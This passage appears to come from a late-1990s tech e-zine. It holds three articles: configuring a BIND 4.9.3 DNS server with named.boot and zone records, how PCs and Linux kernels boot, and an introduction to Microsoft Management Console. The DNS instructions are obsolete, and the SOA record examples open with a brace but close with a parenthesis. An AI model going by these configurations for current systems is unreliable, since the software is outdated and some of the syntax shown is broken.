name. New registrations cost $100, and the registration is good for two years. Subsequent renewals are $50/year. If you don't pay your registration fee, the top-level domain servers will forget about your domain, and no one will be able to reach you. That's power! Once your domain is approved, you are ready to set up your own domain name server. Approvals can take anywhere from one day to three weeks depending on load and other things. To run a domain name server, you will need to install BIND. The source for BIND can be found at http://www.isc.org/isc or from ftp.vix.com/pub/bind/release/bind.tar.gz. Once you obtain the source, you should follow the compilation instructions in the package. The official release at the time I grabbed my copy was 4.9.3. As usual, running outdated software creates a source of security problems. If your system comes with an older version of the software, you really should upgrade. The installation steps are as follows: 1. FTP the source. 2. Unpack the source. 3. Change your directory to the BIND distribution directory. 4. Create a build directory by issuing a make DST=build links. 5. Cd to the build directory you just created. 6. Set the appropriate options, if any, in conf/options.h. 7. Configure the makefile for settings appropriate for your machine/os. This is easily done by removing the # from all the lines under the section that describes your operating system. If you have special locations where you want the binaries installed, set the DEST (for destination) variable to a path more palatable to you. To avoid confusion, keep the default paths and rename your distribution copies of named and nslookup that came with your system to named.dist and nslookup.dist, respectively. This way you can keep your original binaries in case you run into trouble and you need to revert to something known to work. 1. Type make to build everything. If compilation fails, you may want to add ./bin to your path. You can do this simply enough on a csh by issuing the following: set path = (./bin $path) After make builds everything, you will want to verify which files are going to be installed. Issue a make -n install to see where make wants to install everything. This will list all the commands that are going to be executed by the install target without actually running them. You should then backup or rename any remaining files that are going to be replaced with an .orig extension. If you are running SunOS 4.1.x, NetBSD-1 or Solaris 2.x, you can integrate the new client-side resolver library into your system shared libraries. This will upgrade all dynamically linked programs to use the new libraries instead of the old ones. For more information, read the information included in the shres directory of the BIND release. If the installation proceeded properly, BIND should now be installed in your system. Congratulations! DNS Configuration Files The first step in setting up your DNS database is to convert your existing /etc/hosts file into its equivalent DNS format. To configure DNS you'll need to create a few databases and startup files. I placed everything in /usr/local/named with the exception of /etc/named.boot. named looks by default for its boot file in /etc/named.boot. To get things running, you'll need to create a few files (replace DOMAIN with your domain name, and IP with your network IP address): /etc/named.boot /usr/local/named/db.DOMAIN /usr/local/named/db.IP /usr/local/named/db.127.0.0 The db files: db.DOMAIN and db.IP, contain hostname-to-IP and IP-to-hostname translation tables, respectively. The basic components for these files are SOA Record NS Records Address and Alias Records PTR Records While the structure of the db files is similar, there's one significant difference. I mentioned that the db.DOMAIN maps hosts to IP addresses. Data in DNS is indexed by name, including addresses. Mapping from an IP address to a hostname (the reverse) actually turns out to be a little more difficult. Given the current design, searching for a name would require searching the entire database until a match was found. Obviously, this would not be very efficient. To solve the problem, the designers of DNS created a special domain that uses IP addresses as names. This domain is called the IN-ADDR.ARPA domain. Reverse Lookups: IP to Hostname, the IN-ADDR.ARPA Domain The IN-ADDR.ARPA domain has four levels of subdomains. Each level represents one of the octets in a 32-bit IP address. Each level has 256 (from 0 to 255) subdomains, each named after each possible octet value. The IN-ADDR.ARPA domain has enough room for every host on the Internet given the current 32-bit (four-octet) IP representation. Remember the domain names are read from the bottom up, like host.domain.dom. Because of this, IN-ADDR.ARPA domains are represented with their IP addresses in reverse. If your host IP address is 1.2.3.4, your host number is 4, and the IN-ADDR.ARPA name would be written as 4.3.2.1.IN-ADDR.ARPA. This way the name server can group, organize, and retrieve IP-to-hostname queries as efficiently as the regular name-based queries. Before you proceed, you may want to create your db.DOMAIN and db.IP files. I created mine in /usr/local/named and renamed DOMAIN and IP to the name of my domain and network IP, respectively (db.ACCESSLINK.COM and db.204.95.222). SOA Record A start of authority (SOA) resource record is the first entry in a db file. This record indicates that the name server is authoritative. An authoritative name server provides the most accurate and reliable information about a domain. A single SOA record is required at the beginning of each db.DOMAIN and db.IP file. A SOA record looks like this: domain.dom IN SOA hostname.domain.dom. root.domain.dom. { 1 ; Serial ID 10800 ; Record Refresh in seconds (3 hours) 3600 ; Retry after one hour (in seconds) 604800 ; Expire after one week (in seconds) 86400 ) ; Minimum TTL (Time to live) of one day On your db.DOMAIN file, replace domain.dom with the name of your domain (for example, acme.com). IN stands for Internet. There are other possible values, but for this example, and more likely for your needs, this will fit the bill. Replace hostname.domain.dom. with the fully qualified domain name of the host where you are creating this data. Note that the trailing period needs to be there. Replace root.domain.dom. with a valid e-mail address for the person managing your DNS. Replace the @ sign on the e-mail address with a period. Again, note that there's a trailing period after the address. The serial id of the record is very important. Any time you update any of the database files, you must increment this number. If for some reason you forget to increment the serial id, the secondary name servers won't realize that you have modified the database and won't update their information. Secondary name servers use this number to determine if their copy of the db file is up-to-date. A good strategy is to put the current date in a format such as YYYYMMDDR where YYYY is the year: 1997. MM is the month: 11. DD is the day: 30. R is the number of the revision (in case you modify the file more than once on the same day): 1. The refresh interval tells the secondary server how often to check for updates on this file. The retry interval tells the secondary server how long to wait before trying to reach the primary server, if the initial attempt failed. If the secondary server repeatedly fails to contact the primary after the expire interval, data on the database is going to be considered stale, and the secondary server will stop responding to requests for the domain. The TTL value specifies how long resource records served from this file will remain in a caching server's cache. After the TTL expires, the server will have to requery your server for information about your domain. NS Records Next, you need to specify the names of domain name servers in your domain. You do this by using name server (NS) resource records. They look like this: "domain.dom IN NS hostname.domain.dom." All domain name servers that you list here will be designated authoritative for the domain. Replace domain.dom and hostname.domain.dom. with the name of your domain (don't forget the period) and the fully qualified domain name of the domain name server. An example of this is as follows: ACCESSLINK.COM IN NS ns1.ACCESSLINK.COM. ACCESSLINK.COM IN NS ns2.ACCESSLINK.COM. Address and Alias Records Now you'll create name-to-address mappings. Resource records for address and Alias records look like this: ; Host Addresses localhost IN A 127.0.0.1 router IN A 204.95.222.100 www IN A 204.95.222.200 hydrogen IN A 204.95.222.1 lithium IN A 204.95.222.3 ; Aliases mailhost IN CNAME hydrogen.ACCESSLINK.COM. ns1 IN CNAME hydrogen.ACCESSLINK.COM. ns2 IN CNAME lithium.ACCESSLINK.COM. ftp IN CNAME hydrogen.ACCESSLINK.COM. The db.IP File The db.IP file stores an IP-to-name lookup table. The main difference between the two is that instead of listing regular IP addresses, it uses the funny IN-ADDR.ARPA notation. Like the db.DOMAIN file, the db.IP file has a SOA Record. The only difference is that the name of the domain is specified as IN-ADDR.ARPA domain notation: 222.95.204.IN-ADDR.ARPA IN SOA hostname.domain.dom. root.domain.dom. { 1 ; Serial ID 10800 ; Record Refresh in seconds (3 hours) 3600 ; Retry after one hour (in seconds) 604800 ; Expire after one week (in seconds) 86400 ) ; Minimum TTL (Time to live) of one day The db.IP file also lists NS resource records. These are also specified in IN-ADDR.ARPA domain notation: 1.222.95.204.IN-ADDR.ARPA. IN NS ns1.ACCESSLINK.COM. 3.222.95.204.IN-ADDR.ARPA. IN NS ns2.ACCESSLINK.COM. In addition, the db.IP file also lists its reverse version of the Address Records (IN A entries, in your db.DOMAIN file). These are called PTR Records. PTR Records The DNS resource records used for IP-to-name mappings are called Pointer (PTR) Records. There's one record for each IP address on your network. All IP addresses are specified using the IN-ADDR.ARPA domain notation: 1.222.95.204 IN PTR hydrogen.ACCESSLINK.COM. 3.222.95.204 IN PTR lithium.ACCESSLINK.COM. 100.222.95.204 IN PTR router.ACCESSLINK.COM. 200.222.95.204 IN PTR www.ACCESSLINK.COM. The Loopback Interface In addition to the db.DOMAIN and db.IP files, the server will need a db.IP file for the loopback interface. This is a special IP address that hosts use to route traffic to themselves. The address of the loopback network is (almost always) 127.0.0.0, and the host number for the localhost is 127.0.0.1. The file is pretty standard. If you copy your other db.IP file, you'll only need to delete all PTR records and insert a new PTR record pointing to the localhost, the last line in the following listing: 222.95.204.IN-ADDR.ARPA IN SOA hostname.domain.dom. root.ACCESSLINK.COM. { 1 ; Serial ID 10800 ; Record Refresh in seconds (3 hours) 3600 ; Retry after one hour (in seconds) 604800 ; Expire after one week (in seconds) 86400 ) ; Minimum TTL (Time to live) of one day ; Name Servers ; 1.222.95.204.IN-ADDR.ARPA. IN NS ns1.ACCESSLINK.COM. 3.222.95.204.IN-ADDR.ARPA. IN NS ns2.ACCESSLINK.COM. ; ; localhost 1.0.0.127.IN-ADDR.ARPA. IN PTR localhost. The named.root File In addition to knowing all the gory details about your network, DNS needs to know how to contact the name servers for the root domain. Your BIND release should have included a copy of this file. If not, you can find a copy at ftp.rs.internic.net/domain/named.root This file is only used at startup. After named is able to contact the top-level name servers, it updates its internal information. The /etc/named.boot File If you are following at the terminal, you have now developed and downloaded all the files you need to get named going. However, you need to create a configuration file that can tell named where to find all its files. If you have followed my example and created your files in /usr/local/named, your boot file will look like this: directory /usr/local/named primary domain.dom db.DOMAIN primary xxx.xxx.xxx.IN-ADDR.ARPA db.IP primary 0.0.127.IN-ADDR.ARPA db.127.0.0 cache . named.root Here's how my boot file looks after I replace the placeholders with the naming convention described earlier: directory /usr/local/named primary ACCESSLINK.COM db.ACCESSLINK primary 222.95.204.IN-ADDR.ARPA db.204.95.222 primary 0.0.127.IN-ADDR.ARPA db.127.0.0 cache . named.root ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ The PC Boot Process By Scud-O Your PC has 3 basic steps when it starts up. After these three steps, your OS will be loading, and things are different from OS to OS. Covered will be Both DOS Systems and Linux/UNIX systems. Step 1: PC Power As soon as you press the power button of your computer, electricity flows to every circuit in the computer. Step 2: Hardware Check Once your system is getting power, there needs to be functioning components in your computer, so your computer's BIOS tells the CPU to go check on the status of the hardware. The hardware check usually involves a memory check and count, a check for disk drives, ROM checks Keyboard checks, speaker beepings, etc. When your computer starts up, the CPU sits there not knowing what to do next. The CPU is a dumb thing, it always needs to be told what to do next. Luckily for us, the BIOS ( Basic Input / Output System ) is on the motherboard to tell the CPU how it can communicate with the Keyboard, Monitor, Hard Drives, etc. The BIOS is a very basic program that is stored in ROM ( Read Only Memory ) which is always started up when the computer is starting up. BIOS must be stored in ROM, because most other memory, namely RAM and cache lose their information that they store when the power is off. ROM never forgets. All Intel chips have 1 main thing in common: when they power up, they start right off by executing instructions located 16 bytes below the 1024k level, also known as FFFF:0000. That is why BIOS chips get locations in the ranges of 960k to 1024k, so they can fill the needs of the PC. The BIOS's main job initially is to inventory and initialize everything that is in your PC. This process can be broken down into 5 main steps: 1. Test low memory For your computer to operate normally, it needs RAM to work with. Most BIOSs will start by testing the bottom part of your system's RAM. If this process fails, then most BIOS will lock up and crash, unable to recover. 2. Scan for other BIOSs The BIOS on your computer is not made to support everything out there. Unusual video cards, SCSI cards, Network cards, etc. all usually have their own BIOS built into their circuit boards. The main BIOS on your computer decides to play nice and let these mini-BIOSs go first. These add on ROM normally have 3 signature bytes on them for easy identification. The first bytes are at hex 55, then AA, and finally a number that indicates how long the BIOS will be. Divide this number by 512, and you have the BIOS length. The main BIOS also normally finds these other BIOS ROMs in the memory addresses between 768k and 960k. 3. Yield to other BIOSs If your main BIOS finds any other BIOSs, it kindly lets them go first. For example if you had a video card with its own BIOS, you would see its copyrights and notices before the main ROM said that it was done. Another example could be a SCSI card. When my computer boots up, the SCSI card's BIOS prints a few copyrights and notices to the screen, and lets me hit or something if I want to modify my SCSI IDs, low level format a drive, add or subtract a drive, etc. Once these BIOSs have finished all they need to do, the main BIOS will go back to work. 4. Inventory system Now that all of the BIOSs have done everything that they need to do, the main BIOS goes and inventories everything that it will have control over. At a minimum the BIOS will at least check the RAM. The BIOS will also quickly check the hard drives and floppy drives. You can see this by the quick flashing of LEDs on the hard drive LED and the floppy drive. The BIOS will wait for these drives to respond, and they can wait a long time. Some systems could wait up until 4 or 5 minutes until it would report a hard drive failure. Also during this BIOS startup process, the CMOS Setup information is read as well. The CMOS gives your computer a detailed report of hard drive and floppy drive information as well as disk layout, etc. 5. Test the system Most of this step is included in the inventory, the BIOS checks the RAM, floppy disks, hard drives, etc. The process I have just described is often refered to as Power On Self Test (POST). This is a test performed by the CPU where it checks the various parts of the computer to determine if it it working properly. Some things that you will see on your monitor while the CPU is doing the POST: 1. Memory is counted 2. Messages from the CPU as peripherals are checked 3. Lights on the keyboard blinking 4. Possibly a beep from the speaker. After all of this, the CPU then goes hunting for the rest of the OS. It first checks for, and reads (if present), a floppy disk with the OS, and if that fails, then it goes to the hard drive. Step 3: Load the OS Once the first 2 steps have been completed, the OS is ready to be loaded. This is where things become OS dependant and they split off from OS to OS. First I will discuss DOS and how it is loaded, and then I will show how a Linux/UNIS OS would be loaded for comparision. DOS: By far the most common platform for computers is the Microsoft DOS OS. (Windows 95 is still included in this discussion since it still follows may of the same instructions that DOS follows for the boot up process.) When a DOS system has gotten up to this step for the boot up it performs the following steps: 1. Scan drives A:, and then C: to find the drive that is ready with the OS. 2. If the drive the CPU is reading from is C:, load up the Master Boot Record (MBR). If loading from the A drive, skip to the DOS Boot Record (step 4). 3. Execute the program in the MBR and find the bootable partition in the MBR. 4. Load the DOS Boot Record (DBR), the first sector of the primary DOS partition or the first sector of a bootable DOS floppy. 5. Pass control to the DBR. 6. The DBR directs the loading of the 'hidden files' IO.SYS and MSDOS.SYS (for an MS-DOS system, IBMBIO.COM and IBMDOS.COM for PC-DOS), which comprise most of DOS. 7. The first hidden file (IO.SYS or IBMBIO.COM) reloads the other hidden files. 8. The first hidden file also load and intperprets the CONFIG.SYS file and all of its device drivers. 9. Unless the SHELL statement says otherwise, DOS loads the command shell COMMAND.COM from the root directory (C:\) 10. COMMAND.COM loads and executes AUTOEXEC.BAT It is time to look at a few of these steps in more detail. Load the MBR: Once the BIOS has founda drive that is ready for booting (A: or C:), it loads the first sector of the data from that drive. The coordinates are: cylinder 0, head 0, sector 1. Things are a bit different for floppy disks, but over all they are pretty much the same, and as hard drives are more common to boot from, we will focus on booting from a hard drive. The CPU looks into the hard drive for The MBR when it loads. The MBR is only 512 bytes, so under normal conditions it should go into the memory quite easily. Otherwise the system will not boot up. Also, if the MBR is empty, then it will have nothing to load and it will not boot up, since the MBR has a program that has to run, it has to tell the CPU what to look at to continue to load. Viruses commonly erase or modify the MBR for this purpose, a messed up MBR will cause a computer that does not run. Load the DBR: After the MBR has been loaded, BIOS gives control over to it. Since hard drives can be broken into many pieces to run many OSes or for other reasons, the MBR has to tell the CPU where to go next. The MBR does this, and the CPU goes and finds the bootable partition. Once the bootable partition have been found, the MBR passes over control to the first sector of that hard drive. If you have ever heard of boot sector viruses, this is where they become active. They take over the first sector, run the code they have to spread, and then tell the CPU where it has stored the DBR and tells it to go there to finish loading. Once the DBR is in control it finds the 2 'hidden' programs that work behind the scenes to control the very basic interactions of the OS. These 2 files are IO.SYS and MSDOS.SYS for an MS-DOS system, and IBMBIO.COM and IBMDOS.COM for those of you using PC-DOS. If these 2 files are not found, you will see the ever familiar 'Non-system disk or disk error' message. Execute the hidden files: After the DBR has loaded the hidden files, It passes control over to the first hidden file, IO.SYS and disappears. The first file then double checks that it has loaded properly and also checks the other hidden file, MSDOS.SYS. Once up and running, IO.SYS loads the CONFIG.SYS file. Assuming that you do have a CONFIG.SYS file, the CPU executes the commands in CONFIG.SYS and loads the BUFFERS, FILES, STACKS, DOS, LAST DRIVE, and FCBS commands and any device drivers. Once CONFIG.SYS has loaded, and there is no SHELL command in the CONFIG.SYS file, the hidden files will load in COMMAND.COM (if a SHELL command is found, it replaces COMMAND.COM with the file specified). COMMAND.COM is the shell of DOS (just like sh or bash are shells for UNIX) that is the program that takes user input and loads programs at the user's request. After all of this, AUTOEXEC.BAT is run, and any commands that are in AUTOEXEC.BAT are run. Linux/UNIX: Linux is a complex Operating System. Linux has many, many parts to it and thusly, it must move itself around many times when it it loading. When an x86 processor is turned on it is a 16-bit processor that can only see and access 1 MB of RAM. (Yes, even you kids with your little Pentium II 300MHz computers and 128 MBs of RAM, you only have a dinky 16-bit processor and 1 meg of RAM on start up!) This mode of the processor is known as 'real mode' and it necessary for compatiblity with older processors. Everything must be in that 1 meg of RAM, the firmware BIOS, video buffers, memory for expansion boards and the infamous little 640k of RAM all must reside there. Adding to this problem is that fact that BIOSs on PCs only load half a kilobyte of code and establishes its own memory layout before it even loads the first sector. Whatever the boot media might be (floppy, disk, etc.) the first sector of the bootable partition is loaded into memory at 0x7c00, which is where all of the execution begins. What happens at 0x7c00 all depends on the method used to load Linux. There are 3 main methods to boot up a Linux kernel, so we will discuss those 3 methods. They are: booting the kernel from a floppy disk, LILO, and Loadlin. Booting zImage and bzImage Although most people have moved to using LILO these days, you can still boot Linux up from a copy of the raw kernel on a floppy disk. However, with the ever expanding size of the Linux kernel, this soon may not be an easy possiblity. To try out this booting with out LILO, place a disk in your floppy drive, and type ' cat zImage > /dev/fd0 '. This should work perfectly on a Linux system. To configure your new boot kernel, use rdev. The file zImage that you just copied onto a floppy disk is the compressed kernel image that resides in 'arch/i386/boot' after 'make zImage' or 'make boot' has been executed. The latter command seems to be more universal for UNIX, so you can probably get the same thing on a BSD or Sun box. If, instead you made a "big zImage", the kernel file is called bzImage and is placed in the same directory. As stated above, it is hard to boot a Linux kernel on a x86 machine because of the limited amount of memory available on boot up. Linux has to move itself around several times to maximize the 640k of memory that it has. When booting a zImage kernel, Linux performs the following steps to boot up. All of the following path names are relative to arch/i386/boot. 1. The first sector (0x7c00) moves itself up to 0x90000 and loads subsequent sectors after itself, getting them from the boot device using the BIOS's functions to access the disk. The rest of the kernel is then loaded to 0x10000 to allow for a maximum size of half a megabyte of data (this is the compressed image). The boot sector code is at bootsect.S, a real mode assembly file. 2. The code at 0x90200 (defined in setup.S) takes care of a few of the hardware initializations and allows the default text mode (video.S) to be changed. (Text mode selection have been a compile time option since kernel 2.1.9) 3. Afterward the kernel is moved from 0x10000 (64k) to 0x1000 (4k). This move overwrites the BIOS data stored in RAM, so BIOS calls can no longer be done. The first physical page is not touched because it is the so-called 'zero-page' used for dealing with virtual memory. 4. At this point setup.S enters protected mode and jumps to 0x1000 where the kernel lives. All of the available memory is available to be accessed now, and the system is allowed to begin to run. The above steps held true when the kernel was under half a megabyte and able to fit into the half of a megabyte that was assigned to it, the range between 0x10000 and 0x90000. As Linux has developed, it has has many features added to it, and it has grown to well over half of a megabyte of code. Needless to say, the kernel can no longer be moved to 0x1000. These days the code at 0x1000 is the gunzip part of gzip. The following steps have now been added to uncompress the kernel and run it: 5. head.S in the compressed directory is at 0x1000 and it is in charge of gunzipping the kernel. It does this by simply calling the decompress_kernel function that is defined in compressed/misc.c, which calls inflate, which then goes and writes its output starting at 0x100000 (1MB) High memory can now be accessed, because the processor is definitely out of its limited boot environment - also known as the 'real' mode. 6. After decompression, head.S jumps to tha actual beginning of the kernel. The relevant code is in ../kernel/head.S, outside of the boot directory. The boot process is now over, and head.S (the code found at 0x100000 that used to be at 0x1000 before compressed boots were introduced) can complete the processor initialization and call start_kernel(). After this step, all of the code is written in C. The process described above is great, but it only works if the compressed kernel can fit into a half a megabyte of space, something that some kernels are unable to do. If you have alot of device drivers in your kernel, or if you are just installing Linux, and it has all of its device drivers inside the kernel, a half of a megabyte is just simply not enough. bzImage is the solution, and it was introduced in kernel version 1.3.73. You can generate bzImage by typing 'make bzImage' from the top of the Linux source directory. This kind of kernel boots very similarly to zImage, with a few modifications: 1. When the system is loaded to 0x10000, a little helper code routine is called after loading each 64k data block. This helper code moves the data block into high memory by implementing a special BIOS call. Only in the newer BIOS versions is this call implemented, so 'make boot' will still build only the conventional zImage, but this may change with in a short time period. 2. setup.S does not move the system back into 0x1000 (4k). Instead, after entering protected mode, it jumps ahead to 0x100000 (1MB) where data has been moved by BIOS in the previous step. 3. The decompressor found at 1MB writes the uncompressed kernel image into low memory until it is exhausted, and then into high memory after the compressed image. The two pieces are then reassembled to the address 0x100000. Several memory moves are needed to perform this correctly. The rule for building the big compressed image can be read from the Makefile; it affects several files in arch/i386/boot. A good thing about bzImage is that when kernel/head.S is called, it doesn't notice the extra work, and everything goes forward as usual. LILO : The LInux LOader Most Linux systems on a x86 box don't boot the raw kernel, they use LILO, and boot from the hard drive. LILO replaces part of the process decribed above so that it can load Linux from a kernel that may be scattered all throughout a disk. This allows you to boot linux from a partition with out using a boot floppy. (Although you can run LILO off of a floppy disk, if you do not wish to modify your hard drives MBR.) LILO uses the BIOS services to load single sectors from disk and then it jumps to setup.S. It arranges the memory layout in the same fashion as bootsect.S; thus the usual booting procedure can be done painlessly. LILO is also able to handle kernel command lines, which is why LILO is more popular to use that loading the raw kernel from a floppy. If for some strange reason, you want to boot a bzImage with LILO, you have to use version 18 or later of LILO. Earlier versions were not designed to handle loading segments into high memory, an ability that is needed for loading big images, so that setup.S to find the memory layout that it needs and expects. The biggest problem and disadvantage that LILO has is that it uses the BIOS to load the whole system. This forces the kernel and other important files to use the first 1024 cylinders of disks to be accessible to the BIOS. When using a PC's hardware, you can see how old-fashioned the architecture of the PC really is. (Yes, even you there with your Pentium II 300, it is as slow and old as my 486/66!) Loadlin Say you are running MS-DOS or Win95, and you realize that you need to load Linux for something real quick. Oh no! now I have to shutdown the current OS and spent 10 minutes waiting for Linux to load up! Well if you have loadlin installed, you can cut alot of this time out and boot up Linux while your other OS is running. This program is similar to LILO in that it loads the kernel from a disk partition and then jumps to setup.S. However, it is different from LILO in that it not only faces BIOS restrictions, but it must also dispose of established memory layouts without compromising the system's stability. However, loadlin does not face the half a kilobyte length that LILO does because loadlin is a complete program, not just a boot sector. If you are running anything after version 1.6 of loadlin, you can load the big images. Loadlin is able to pass a command line to the kernel and is therefore, as flexible as LILO. For most purposes you will write a batch file script for automated loadlin loading so that you dont have to type a huge command line each time you load linux. Most people call this batch file linux.bat. Loadlin is also capable of turning any networked PC into a Linux box. All you need is the kernel equipped for mounting the root partition via NFS, and loadlin and linux.bat containing the correct IP addresses. You will of course also need a propperly configured NFS server, but any linux box can do that job. As an example, the following command line out turn a PC into a Linux workstation: loadlin c:\zimage rw nfsroot=/usr/root/minos \ nfsaddrs=168.143.27.120:168.143.27.1:168.143.143.2\ 54:255.255.255.0:minos.mulder.clark.net (The above is just an example, this command line would fail on my Linux box since the IPs are incorrect, and I do not run an NFS server, nor do I have more that one PC.) start_kernel() Once the architecture-specific initializations have been completed (Linux is available on Alpha chips and SPARC systems as well as PCs), the init/main.c takes control of whatever processor you may be running, in this case an x86. start_kernel() first calls on setup_arch(), which is the very last architecture-specific function. Unlike the other architecture-specific functions, this call can exploit all of the processor's features and is much easier source to deal with than the ones described before. This function is defined in the kernel/setup.c under the architecture-specific source tree. start_kernel() then initializes all of the kernel's subsystems - IPC, networking, buffer cache, etc. After all of this has taken place, the following 2 lines complete the code: kernel_thread(init, NULL, 0); cpu_idle(NULL); The init thread is process number 1, it mounts the root partition, executes /linuxrc if CONFIG_INITRD has been selected during compile time, and then executes the init. If init can not be found, /etc/rc is then executed. In general, using rc is discouraged, since init is much more flexible than a shell script in handling system configurations. for kernels after 2.1.21, the /etc/rc(/) option is removed, thus making it obsolete. If neither init or /etc/rc can run of if they exit, /bin/sh is executed repeatedly (2.1.21 and later will only execute it once). this feature is only there as a safegaurd in case init is removed or corrupted by mistake. If you remove a.out support from the kernel without recompiling your old init, you will at least have a shell that you can use to fix your errors with after rebooting. the kernel has not more jobs that it must do after is spawns process 1, since all other functions are then handled by init, /etc/rc, or /bin/sh in user space. What about process 0? This so called 'idle' task executes cpu_idle(), a function that calls idle() in an endless loop. idle() in turn is an architecture-dependant function that is usually in charge of turning off the processor to save power and increase the processor's lifetime. ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ MMC, Micrsoft Management Console By FuManchu Introduction ------------ This article is ment to give you an introduction to Microsoft's new Microsoft Management Console (MMC) which will be built into IIS 4.0 and NT 5.0, that will allow an NT admin to run all of their management tools and give them a consistent interface. As the popularity of NT as a platform for networking continues, an NT admin can not longer just check the status of the network. A more comprehensive and complex tool must be used to maintain a reliable network with NT. Several companies have released tool to do this, Hewlett-Packard's OpenView, NuView's ManageX, WinVista's WinVista, Computer Associates' CA-Unicanter, and Tivoli's TME 10. However, these tools are all based on proptietary interfaces and high learning curves. Microsoft is now trying to standardize everything with MMC. MMC tools are designed to work on an NT box if it is across a network, or a local machine. Words to Know ------------- MMC - The Microsoft Management Console is a framework that lets developers write management applications that will share a common interface. namespace - When you launch and MMC tool, the namespace appears as the left pane in the console window. It includes system configurations, all the Snap-Ins available for the tool, etc. package - Vendors will be shipping MMC Snap-Ins in a package with their applications. The package will install and configure the Snap-Ins as an MMC tool. Snap-Ins - Management applications written to the MMC Snap-In guidelines for appearance and behavior. They are written specifically to use the MMC framework. tool - The saved state of a collection of Snap-Ins (one or more) is an .MSC file (Management Saved Console). Launching a tool loads and configures the Snap-Ins to the state they were in when you last saved the .MSC file. Welcome to MMC -------------- As I have stated before MMC is has been deployed by Microsoft for Windows NT 5.0 (fall 98 release) and IIS 4.0 (end of 97 release). MMC is not a management tool, it is merely a 'container' or framework for management applications. It uses an Explorer-like Multiple Document Interface (MDI) that you can expand with Snap-Ins from companies. By itself, MMC is useless, it provide no functionality. Since MMC is a MDI program, it is far more flexible than Explorer, which only lets you look at one location at a time. MMC lets you open multiple windows that can focus on unrelated activities. For example, you could be running 2 windows which could be all from different Snap-Ins and are showing completely unrelated activities, (ie. www service, ftp service, login service) With the relase of NT 5.0, Microsoft will be moving its current tools for management into Snap-Ins. Like stated before, Microsoft is hoping to create a standard for NT management. Many other companies have already tried this, but each uses a different standard, so no real standard exists. The only product that comes close to what MMC will offer is Hewlett-Packard's OpenView, which has a framework for applications. Microsoft's approach to this is different however, because their framework will offer the framework for its server applications and operating systems. Thus integrating it all, and making Microsoft the standard, since it is already built in. The tools created with MMC will all follow the same design and will all operate in a similar fashion. Companies will have to choose if they want to follow the MMC path, and the fact that most NT administrators will be using MMC, or they can try their own path. Most however will use MMC, I would bet. Companies who choose to use MMC will distribute one or more Snap-Ins in what Microsoft refers to as a package. The package is an installable collection of Snap-Ins for a product. An example of this will come with IIS 4.0. When 4.0 is released, it will include the MMC framework as well as a package containing the management tools for IIS, which currently are a part of the Internet Service Manager. When NT 5.0 is release, not only will it have IIS and the MMC Snap-In for that, it will have a large number of other packages for various NT admin needs. Existing management tools for NT can also take advantage of MMC. Like I have stated before, MMC is a framework for programmers to use to give their applications a uniform interface. Programmers can even develop applications that make calls to MMC, and thus, integrating MMC into their applications. They also have the option of developing Snap-Ins that could start up their applications, instead of extending the MMC interface. This would turn MMC into a 'launching pad' for applications. They can also write Snap-Ins that work directly with their program, which they can use to use the best of both. Programmers would also be enabled to provide a Snap-In document, or an .MSC file for their program. These could then include the information provided by the standard OS Snap-In in a view that has been configured to how the programmer feels will help you the most. All of this basically means that MMC will most likely become the standard for NT management and security. MMC also can contain and use taskpads, which are a concept introduced in NT 4.0. Basically you would use a taskpad to launch wizards. In the NT 4.0 Administrative Tools folder, you will find an Administrative Wizards entry. If you select it, a window would open, or a launch pad, that then lets you load one of the administrative tools wizards. These wizards are made to help you use NT Server tools. Programmers are not required to use an MMC interface to access taskpads, but it is to their advantage to do so, since the standard that MMC offers will make it easier for the end user to figure out and use the programmer's tool. Also, when you reduce the taskpad to a toolbar, it is handy because the tool is right there, when you need it. Snap-Ins will manages most of the Microsoft system services, that are currently under 'Services' in the Control Panel. A system with NT 5.0, or IIS 4.0, will include the Snap-Ins from Microsoft for these services. This will make it easy for a programmer to skip these since they are already done. There is nothing stoping the programmer from writing those services again, but why waste time reinventing the wheel? The programmer might want to extend upon the Microsoft services, and that is easily done with Snap-Ins. All 32 bit Windows platforms will support MMC eventually, but only when MMC is working with NT can it provide security functions. Basically, this means that on a Win95 or Win98 system, MMC applications will only be able to view or monitor data and devices. If you want to have a console that can run Snap-Ins and modify data, you will need an NT system running NTFS. This will be enforced so that the NT security model can be applied. Otherwise, unauthorized users could change or modify the manageable systems. How MMC Works ------------- I tested a beta of MMC on a system running NT 4.0 with a IIS 4.0 beta. By the time this gets out and printed, the system should be running NT 5.0, so I should be able to tell you more about MMC soon. When you start up MMC, you are greeted with an empty console, and you use the Snap-In Manager to add Snap-Ins into the console view, creating a tool. As you add in more Snap-Ins, they load dyanmically into the tool's namespace. The namespace is a collection of the locations the tool manages and the tasks it performs. Microsoft has asked its vendors to develop Snap-Ins in C++ and has compiled a set of guidelines for their appearance and presentation. This, coupled with MMC's Explorer type interface will let most Win95 and NT admins get up to speed fast. MMC displays Snap-Ins and their contents in the left pane and defines the left pane selection in the right pane. MMC's MDI lets you resize the primary window or open additional windows to display management statistics, tools, or whatever a specifice Snap-In was developed to display. Snap-Ins are protocol independant, so you can use them for management of both hardware and software. A Snap-In can control of monitor any activity, and you can add the same Snap-In to multiple tools and save each tool with its own namespace. While you could add Snap-Ins ad infinitum to one tool, it would be wiser to create individual tools for specific tasks. A single tool might perform a management task either across the whole network, or just a single machine, like a mail server, or an HTTP server. If you need to manage multiple, nonreated tasks, you can launch multiple tools, each with its own MMC. However, if you launch multiple tools in one instance of MMC, then the namespace changes of one tool might not be changed in the namespace of another. And if you launch more than one tool, each in its own instance of MMC, changes to one will definately not be changed on the other tools. More on Snap-Ins ---------------- A Snap-In can be either standalone or and extension. A standalone Snap-In can interact with other Snap-Ins and use shared .DLLs, but it does not require the presence of, or information from, another Snap-In to function. Thus, while this type of Snap-In can use other Snap-Ins to expand its management role, it can also work alone. An extension Snap-In, on the other hand, may add capabilities to another Snap-In or to the console, but it can not function with out some other Snap-In. For example, a router Snap-In might require data from others that monitor different aspects of the router's performance. Anyone can create a Snap-In in a way. You can create a shortcut in the MMC console to any tool (even a non-MMC tool). When you save the tool's console view, which could contain only that shortcut becomes a Snap-In that launches the tool. 